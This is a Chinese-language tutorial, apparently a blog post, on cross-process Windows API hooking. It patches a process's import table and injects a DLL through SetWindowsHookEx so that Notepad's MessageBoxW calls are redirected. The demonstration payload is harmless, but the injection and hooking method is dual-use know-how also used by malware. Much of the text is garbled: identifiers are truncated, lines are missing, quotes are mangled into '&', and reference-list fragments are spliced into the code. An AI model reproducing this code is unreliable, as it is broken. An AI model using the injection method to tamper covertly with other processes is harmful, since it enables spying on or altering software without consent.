/*18 */ if (!strcmp(&MessageBoxW&,(char *)piibn-&Name)) {
/*19 */ & & oldMsg = (MsgBoxType)(ppfn);
/*20 */ & & DWORD addr = (DWORD)MyM
/*21 */ & & DWORD written = 0;
& & & /* 改变内存读写状态 */
/*22 */ & & DWORD oldA
/*23 */ & & VirtualProtect(&pitd2-&u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
/*24 */ & & APIAddress = (DWORD)&pitd2-&u1.F
& & & /* 向内存映像写入数据 */
/*25 */ & & WriteProcessMemory(GetCurrentProcess(),&pitd2-&u1.Function, &addr,sizeof(DWORD), &w
/*27 */ pitd++;pitd2++;
/*28 */ & &} while (pitd-&u1.Function);
/*29 */ & &piid++;
/*30 */} while (piid-&FirstThunk + piid-&Characteristics&
& + piid-&ForwarderChain + piid-&Name + piid-&TimeDateStamp);
寻觅 IMPORT TALBE
在/*1*/ 中我们使用 GetModuleHandle(NULL)来返回当前进程在内存中映像的基地址。但这个值在文档
中仅仅被描述为 &a module handle for the specified module&，虽然他确实是进程内存映像的基地址。如果
你不太放心的话也可以 使用，GetModuleInformation 函数来获得基地址，只不过你要额外包含 psapi.h
和 psapi.lib 了(这个库在 VC6 里没有，所 以我就没有用这个函数了)。在/* 6 */里我们先找到
IMAGE_DOS_HEADER 结构，他的起始地址就是映像的基地址。/*7*/通过 IMAGE_DOS_HEADER 给
出的 PE 文件头的偏移量，找到 IMAGE_NT_HEADERS 结构。顺藤摸瓜，IMAGE_NT_HEADERS 里 的
OptionalHeader 中的 DataDirectory 数组里的第二个元素正是指向我们想要的 IMPORT TABLE 的地址。
在/*9*/中我们将其转化为一个 IMAGE_IMPORT_DESCRIPTOR 的结构指针存入 piid 中。
替换的 API 函数入口地址
在/*12*/ 和/*13*/中我们分别取得 OriginalFirstThunk 和 FirstThunk 结构，用于以后得到 API 函数的名
称和入口地址。/*10*/ 的 do 循环让我们遍历每一个 IMAGE_IMPORT_DESCRIPTOR 结构也就是应用程
序引用的每个 DLL。在/*14*/的循环中我们遍历 DLL 中的 IMAGE_THUNK_DATA 结构来一一查询 API
的信息。/*16*/中我们将 OriginalFirstThunk 转换为 IMAGE_IMPORT_BY_NAME 结构用于获得 API
函数的名称进行比对。在/*18*/我们找到 MessageBoxW 函数之后，在 /*19*/保存其原始入口地址便于以
后恢复时使用。在/*23*/我们需要用 VirtualProtect 改变一下内存区域的读写性，因为一般应用程序 的映
像都是只读的，直接写入会造成一个非法访问的异常出现。在/*25*/我们写入自己函数的地址。
这样就基本完成一个 API 函数的重定向。
恢复函数的 API 入口地址相对比较简单。只要把保存的值再写回去就可以了。上面的程序中/*24*/我用
APIAddress 保存了存有 MessageBoxW 入口地址的地方的地址，便于以后调用 WriteProcessMemory 恢复
跨进程理论
我 们要用自己的函数来替代别人程序里的 API 函数，但我们的函数与别人的程序处于不同的进程空间内
啊。不同的进程空间是不能相互调用函数的。因此我们要想办 法把自己的函数放入别人的进程空间去。这
时我们就需要使用 DLL injection 技术了。如果你对她还不是十分熟悉的话，建议看看 Jeffrey Richter 大
师的& &programming applications for microsoft windows&&，也可以参考陈宽达先生的&&c++ builder 深
度历险&&。
简 而言之，DLL injection 就是想办法让对方的进程加载我们的一个 DLL 程序，把需要替换的函数放在我
们这个 DLL 里。如此一来，我们的函数就进 入了别人的进程空间了。DLL injection 方法很多，Richter
大师在书中对各方法利弊有详细解释，陈宽大先生的书中也有深入的分析。我在这 里使用
SetWindowsHookEx 函数来达到目的。主要有这几个原因: 1, 不用重新启动系统，调试方便。2, 可以利用
消息循环机制进行两个进 程之间的通信，可以较好的掌握 Hook 的状态。便于安装与卸载。
SetWindowsHookEx 之所以能完成 DLL injection 是因为它要给一个应用程序某个环节加上一个 Hook,而
Hook 就要有 Hook Procedure 也就是 Hook 函数。如果 这个 Hook 函数在一个 DLL 中，那么系统就会把
这个 DLL 加载到 SetWindowsHookEx 的目标进程上。从而也就达到了我们 DLL injection 的目的了。当
然这里我们会用 WH_GETMESSAGE 的 Hook 进行 injection,因为这个 Hook 可以用来监视目标 进程的消
息循环方便我们的进程与目标进程通信。&
跨进程的实现和几点注意
/* DllPart.Dll */
typedef (WINAPI *MsgBoxType)(HWND,LPCWSTR,LPCWSTR,UINT);&
MsgBoxType oldM &/*API 原入口地址*/
DWORD APIA /*存储 API 入口地址的地方的地址*/
int WINAPI &MyMessage(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
&/* 这是用来替换的函数 */&
&return oldMsg(hWnd,buf,M2,MB_OK);
const char szApp[] = &DllPart.dll&;
HHOOK hH /*Hook 的句柄*/
HMODULE hI /*DLL 模块句柄，用于 SetWindowsHookEx 函数*/
HWND hT /*目标窗口句柄*/
/*DLL 入口*/
BOOL WINAPI DllMain(HINSTANCE inst, DWORD reason, LPVOID lpvReserved)
& & hInst =
& & switch (reason) {
&case DLL_PROCESS_ATTACH:
& & &/*调试信息，表示 DLL 已经加载*/
& & &MessageBox(NULL,&DLL_PROCESS_ATTACH&,szApp,MB_OK);
&case DLL_PROCESS_DETACH:
& & &/*调试信息，表示 DLL 已经卸载*/
& & &MessageBox(NULL,&DLL_PROCESS_DETACH&,szApp,MB_OK);
/*显示 GetLastError 的信息*/
void showerr(const char *m) {
& & char message[255];
& & FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError()
&,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,255, 0);
& & MessageBox(NULL,message,m,MB_OK);
//-----------------------
void UnHookApi() {
&/*卸载 API Hook 用*/
void HookApi() {
&/*加载 API Hook 同上面介绍的函数一样*/
//-----------------------
/*用于 WH_GETMESSAGE 的 Hook Procedure*/
LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
&if (nCode == HC_ACTION) {
& & &MSG *msg = (MSG *)lP
&n&/c++ builder 深度历
险&&/programming applications for microsoft windows& & if (msg-&message == WM_CHAR) {
& & & if (msg-&wParam == 'h') HookApi();&
& & & if (msg-&wParam == 'u') UnHookApi();
& & return CallNextHookEx(hHook,nCode,wParam,lParam);
extern &C& __declspec(dllexport) SetAPIHook(HWND handle) {
& & DWORD ThreadId = GetWindowThreadProcessId(handle, NULL);
& & hTarget =
& & MessageBox(NULL, &Enabling CallWndProc Hook&, szApp, MB_OK);
& & hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hInst,ThreadId);&
& & if (hHook) {
&MessageBox(NULL,&Hook OK!&, szApp, MB_OK);
& & } else {
&showerr(&SetWindowsHookEx&);
extern &C& __declspec(dllexport) UnHookAPIHook() {
& & MessageBox(NULL, &Disenabling CallWndProc Hook&, szApp, MB_OK);
& & if (UnhookWindowsHookEx(hHook)) {
& & & & MessageBox(NULL,&UnHook OK!&, szApp, MB_OK);&
& & } else {
&showerr(&UnHookWindowsHookEx&);
几个需要注意的问题
SetAPIHook 和 UnHookAPIHook 是我们自己进程调用的用来加载 WH_GETMESSAGE Hook 的函数。
由于我们的程序要用 LoadLibrary 加载 这个 Dll 因此这两个函数要用__declspec(dllexport)修饰，使其成
为导出函数，才能被 GetAddressProc 函数找到。加上 &extern &C&是让编译器使用 C 语言编码方式。因为
C++编译器会进行 Dynamic Binding(C++函数重载的实现),将函数的参数类 型附加到名称上。是函数的导
出名看起来像 SetAPIHook@XYTZX 之类的,不利于 GetAddressProc 进行引用。因此使用 extern &C&让编
译器不使用 Dynamic Binding，自然使用 extern&C&的函数也就不能被重载了。
不要忘记在 GetMsgProc 最后要调用 CallNextHookEx 函数，保证 Hook 链的完整性。
一 定要在 Hook Procedure 中调用 HookApi 和 UnHookApi 函数，因为保存 API 入口地址的地方在目标
进程中，你必须在目标进程的进程 空间内完成卸载操作，不能在 UnHookAPIHook 或是 SetAPIHook 函
数中调用，因为 UnHookAPIHook 是我们的进程调用的，因此在 我们的进程空间中。在这里使用
UnHookApi 会造成一个非法访问的错误。而使用 HookApi 会给自己的 DLL 加上 API Hook。
SetWindowsHookEx 的最后参数是 ThreadId 不是 Handle,因此要通过调用 GetWindowThreadProcessId
转换一下。&
在跨进程 API HOOK 时可能用到的其他技术&
主进程与目标进程的信息交互和共享
由 于使用了 WH_GETMESSAGE 钩子我们可以利用 Windows 消息机制实现进程间通讯。需要注意的是
应该使用 PostThreadMessage 来 发送让 WH_GETMESSAGE 得到的消息而不是 SendMessage 或者
PostMessage,因为后两个是用来给窗口发送消息的。而我们的 WH_GETMESSAGE 是 Hook 在线程上面
的，因此需使用 PostThreadMessage.
传递不太大的数据可以使用 WM_COPYDATA 消息来进行。同样也应该注意，如果使用 MFC 的窗口过程
获得消息就需要用 SendMessage 发送了。WM_COPYDATA 的 使用相对简单可以参考 MSDN 的文档。也
可以参考附录里的程序 Hook.cpp 的 showerr 函数部分。
如果传递较大的数据或者希望数据共享比较方便可以开辟共享内存来进行数据共享。这里简单分析一下使
用共享内存的代码&
switch (reason) {
& & case DLL_PROCESS_ATTACH:
& & /*创建/打开共享内存区域*/
& & hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBALDA
TA),ID_MAP);
& & pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
& & if (!pg_data) {
&MessageBox(NULL,&无法建立共享内存，程序终止！&,szApp,MB_OK);
&if (hMap) {
& & &CloseHandle(hMap);
& & &hMap = NULL;
& & &return 0;
& & pg_data-&hInst = hI
& & showerr(&共享内存映像文件&);
& & showerr(&DLL 装载中...&,FALSE);
& & case DLL_PROCESS_DETACH:
& & if (pg_data) {
& & & & UnmapViewOfFile(pg_data);
&pg_data = NULL;
& & if (hMap) {
&CloseHandle(hMap);
&hMap = NULL;
上 面的代码通过 CreateFileMapping 建立共享区域。将其第一个参数设置为 0xFFFFFFFF 使其能创建一
个内存共享区域而不是文件。并标记 为可读写的(PAGE_READWRITE).其大小为我们定义的结构体
GLOBALDATA 的大小。最后的 ID_MAP 是一个用来标示这个区域的字符 串。打开或者创建完共享区域
后，我们用 MapViewOfFile 来获得这个区域的地址。之后就可以直接使用 pg_data 来操作共享区域了。不
要忘记在 DLL 退出的时候安全的删除共享区域释放内存。&
消息等待与安全卸载
在我们卸载 WH_GETMESSAGE 钩子之前必须先把目标程序的 API 调用恢复正常。我们不能再调用
UnHookApi 之后就立刻调用 UnhookWindowsHookEx,因为很有可能 UnHookApi 还没来得 急完成 API
入口地址的恢复操作，WH_GETMESSAGE 钩子就已经被卸载了。因此需要等待一段时间，等 UnHookApi
完成了恢复操作在调用 UnhookWindowsHookEx。以防错误发生。
extern &C& __declspec(dllexport) void UnHookAPIHook() {
& & /*向目标线程发送消息进行 API UNHOOK*/
& & PostThreadMessage(pg_data-&idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
& & showerr(&WM_DISABLEAPIHOOK&);
& & /*等待目标进程返回 WM_UNHOOKOK 消息，确认可以将 WH_GETMESSAGE 的 HOOK 去掉*/
& & & & GetMessage(&Msg,NULL,0,0);
& & }while(Msg.message != &WM_UNHOOKOK);
& & UnhookWindowsHookEx(pg_data-&hHook);
& & PostThreadMessage(pg_data-&idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
& & showerr(&UnHookWindowsHookEx&);
上面的代码中我们使用一个含有 GetMessage 的循环来等待消息的到达，一旦 UnHookApi 完成他就会发送
WM_UNHOOKOK 消息。等我们接收到消息确认一切安全了在来卸载 WH_GETMESSAGE 钩子。&
弄清消息对象
我 们一定要清楚代码是在主程序进程空间中执行的还是在目标程序进程空间中执行的。像上面的
UnHookAPIHook 函数就是通过主程序调用的，因此在主程 序进程空间中执行。这样一来用来恢复目标程
序 API 信息的 UnHookApi 完成后就应该向主程序发送消息，而不是目标程序。
目标进程加载了其他 DLL
如果目标进程动态加载了其他的 DLL 文件，我们必须监视 LoadLibrary 函数。保证 DLL 中的 API 入口地
址也被正确修改。防止出现混乱的情况。我从 LoadLibrary 获得 DLL 的路径用于 GetModuleHandle 来取
得他的 ImageBase 的地址。
不知道文章写的如何，希望大家能多给些批评意见。发现问题我马上改正
Email: .cn
& &programming applications for microsoft windows&&, Jeffrey Richter, Microsoft Press&
&&c++ builder 深度历险&&,陈宽达,华中科大出版社
&&, LUEVELSMEYER
&&iczelion's pe tutorial&&, Iczelion
附:跨进程 APIHook 的例子
先打开一个记事本程序并输入几个字符，运行下面的程序，加载 APIHook.之后在记事本的文件菜单中选择
新建就会看到 API Hook 将 MessageBoxW 函数 Hook 的结果了.
代码在 WinXP SP1 + VC6.0 测试成功。
下载源代码
(特别感谢老罗的代码着色器，比我自己那个好多了)
这是 DLL 的程序，Hook.dll
#include &mydef.h&
const char szApp[] = &Hook.dll&; /*应用程序名称*/
HANDLE hM/*在共享内存映像的句柄*/
GLOBALDATA *pg_ /*在共享内存中的全局数据*/
LRESULT CALLBACK GetMsgProc(int,WPARAM, LPARAM);
/*显示 GetLastError 指出的错误*/
void showerr(const char *m, BOOL GetError = TRUE) {
& & char message[127];
& & char buf[255];
& & COPYDATASTRUCT
& & if (GetError)&
& & & & FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0
& ,GetLastError(),MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,127, 0);
& & & & *message = 0;
& & if (Get&/iczelion's pe tutorial&&/c++ builder 深度历
险&&/programming applications for microsoft windows& CurrentThreadId() != pg_data-&idMain)
& & & & sprintf(buf,&目标程序空间 DLL: %-30s [%-40s]&,m, message);
& & & & sprintf(buf,&主程序空间 DLL &: %-30s [%-40s]&,m, message);
& & cds.lpData =&
& & cds.cbData = sizeof(buf);
& & cds.dwData = 0;
& & SendMessage(pg_data-&hWndMain,WM_COPYDATA,(WPARAM)pg_data-&hWndTarget,(LPARAM
& & SetLastError(0);
int WINAPI MyMessageBoxW(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
& & wchar_t buf[255];
& & swprintf(buf,L&!!这个窗口的 API 被 Hook 了!! HWND: 0x%08X Message: %s Caption: %s&
& & & & ,(DWORD *)hWnd
& & & & , M1
& & & & , M2);
& & pg_data-&oldAPIFunction(hWnd,buf,M2,MB_OK);
& & return pg_data-&oldAPIFunction(hWnd,M1,M2,M3);
/*DLL 入口函数*/
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason,LPVOID lpvReserved)
& & switch (reason) {
& & case DLL_PROCESS_ATTACH:
& & & & /*创建/打开共享内存区域*/
& & & & hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBAL
DATA),ID_MAP);
& & & & pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
& & & & if (!pg_data) {
& & & & & &MessageBox(NULL,&无法建立共享内存，程序终止！&,szApp,MB_OK);
& & & & & &if (hMap) {
& & & & & & & &CloseHandle(hMap);
& & & & & & & &hMap = NULL;
& & & & & & & &return 0;
& & & & & & }
& & & & pg_data-&hInst = hI
& & & & showerr(&共享内存映像文件&);
& & & & showerr(&DLL 装载中...&,FALSE);
& & case DLL_PROCESS_DETACH:
& & & & showerr(&DLL 卸载中...&,FALSE);
& & & & if (pg_data) {
& & & & & & UnmapViewOfFile(pg_data);
& & & & & & pg_data = NULL;&
& & & & if (hMap) {
& & & & & & CloseHandle(hMap);
& & & & & & hMap = NULL;
/*卸载 API Hook*/
void UnHookApi() {
& & DWORD written = 0;
& & DWORD oldaddrAPIFunction = (DWORD)pg_data-&oldAPIF
& & WriteProcessMemory(GetCurrentProcess(),(DWORD *)pg_data-&addrAPIEntryPoint
& & & & , &oldaddrAPIFunction,sizeof(DWORD), &written);
& & showerr(&WriteProcessMemory on UnHook&);
& & /*向主线程发送 API UNHOOK 处理完毕的消息*/
& & PostThreadMessage(pg_data-&idMain,WM_UNHOOKOK,0,0);
/*加载 API Hook*/
void HookApi(const char* szApiName, tAPIFunction newAddr, DWORD ImageBase) {
& & /*这段代码请参考文章中的分析*/
& & IMAGE_DOS_HEADER *
& & IMAGE_NT_HEADERS *
& & IMAGE_DATA_DIRECTORY *pSymbolT
& & IMAGE_IMPORT_DESCRIPTOR *
& & pidh = (IMAGE_DOS_HEADER *)ImageB & &
& & pinh = (IMAGE_NT_HEADERS *)((DWORD)ImageBase + pidh-&e_lfanew);
& & pSymbolTable = &pinh-&OptionalHeader.DataDirectory[1];
& & piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)ImageBase + &pSymbolTable-&VirtualAddress);
& & & & IMAGE_THUNK_DATA *pitd_org,*pitd_1
& & & & pitd_org = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid-&OriginalFirstThunk);
& & & & pitd_1st = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid-&FirstThunk);
& & & & do {
& & & & & & IMAGE_IMPORT_BY_NAME *
& & & & & & piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)ImageBase + &*((DWORD *)pitd_org));
& & & & & & PROC *pAPIFunction = (PROC *)(pitd_1st-&u1.Function);
& & & & & & if (!strcmp(szApiName,(char *)piibn-&Name)) {
& & & & & & & & DWORD addrNewAPIFunction = (DWORD)MyMessageBoxW;
& & & & & & & & DWORD written = 0;&
& & & & & & & & DWORD oldA
& & & & & & & & pg_data-&oldAPIFunction = (tAPIFunction)(pAPIFunction);
& & & & & & & & /*Change Memeory State*/
& & & & & & & & VirtualProtect(&pitd_1st-&u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
& & & & & & & & showerr(&VirtualProtect&);
& & & & & & & & pg_data-&addrAPIEntryPoint = (DWORD)&pitd_1st-&u1.F
& & & & & & & & /*Write Process Memory*/
& & & & & & & & WriteProcessMemory(GetCurrentProcess(),&pitd_1st-&u1.Function
& & & & & & & & & & , &addrNewAPIFunction,sizeof(DWORD), &written);
& & & & & & & & showerr(&WriteProcessMemory on Hook&);
& & & & & & }
& & & & & & pitd_org++;
& & & & & & pitd_1st++;
& & & & } while (pitd_1st-&u1.Function);
& & & & piid++;
& & } while (piid-&FirstThunk + piid-&Characteristics&
&+ piid-&ForwarderChain + piid-&Name + piid-&TimeDateStamp);
//-----------------------
extern &C& __declspec(dllexport) BOOL SetAPIHook(HWND _target) {
& & pg_data-&hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,pg_data-&hInst,pg_data&idTarget);
showerr(&SetWindowsHookEx&);
/*向目标线程发送消息进行
API HOOK*/
& & if (pg_data-&hHook) {
& & & & PostThreadMessage(pg_data-&idTarget,WM_ENABLEAPIHOOK,0,0);
& & } else {
& & & & return FALSE;
& & showerr(&WM_ENABLEAPIHOOK&);
& & return TRUE;
extern &C& __declspec(dllexport) void UnHookAPIHook() {
& & /*向目标线程发送消息进行 API UNHOOK*/
& & PostThreadMessage(pg_data-&idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
& & showerr(&WM_DISABLEAPIHOOK&);
& & /*等待目标进程返回 WM_UNHOOKOK 消息，确认可以将 WH_GETMESSAGE 的 HOOK 去掉*/
& & & & GetMessage(&Msg,NULL,0,0);
& & }while(Msg.message != &WM_UNHOOKOK);
& & UnhookWindowsHookEx(pg_data-&hHook);
& & PostThreadMessage(pg_data-&idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
& & showerr(&UnHookWindowsHookEx&);
LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
& & if (nCode == HC_ACTION) {
& & & & MSG *msg = (MSG *)lP
& & & & if (msg-&message == WM_ENABLEAPIHOOK) {
& & & & & & HookApi(&MessageBoxW&,MyMessageBoxW,(DWORD)GetModuleHandle(NULL));
& & & & if (msg-&message == WM_DISABLEAPIHOOK) {
& & & & & & UnHookApi();
& ; & & &}
& & & & if (msg-&message == WM_DESTROY) {
& & & & & & showerr(&目标进程退出!&,FALSE);
& & return CallNextHookEx(pg_data-&hHook,nCode,wParam,lParam);
这个是主程序的关键部分 HookGui.cpp
用 MFC 建立一个窗口程序，包含两个按钮和一个 ListBox
typedef void (*PUnHookAPIHook)();
typedef BOOL (*PSetAPIHook)(HWND);
HMODULE hDll = NULL;
HWND hNotePad = NULL;
PSetAPIHook SetAPIH
PUnHookAPIHook UnHookAPIH
GLOBALDATA *pg_ /*在共享内存中的全局数据*/
HANDLE hM /*在共享内存映像的句柄*/
i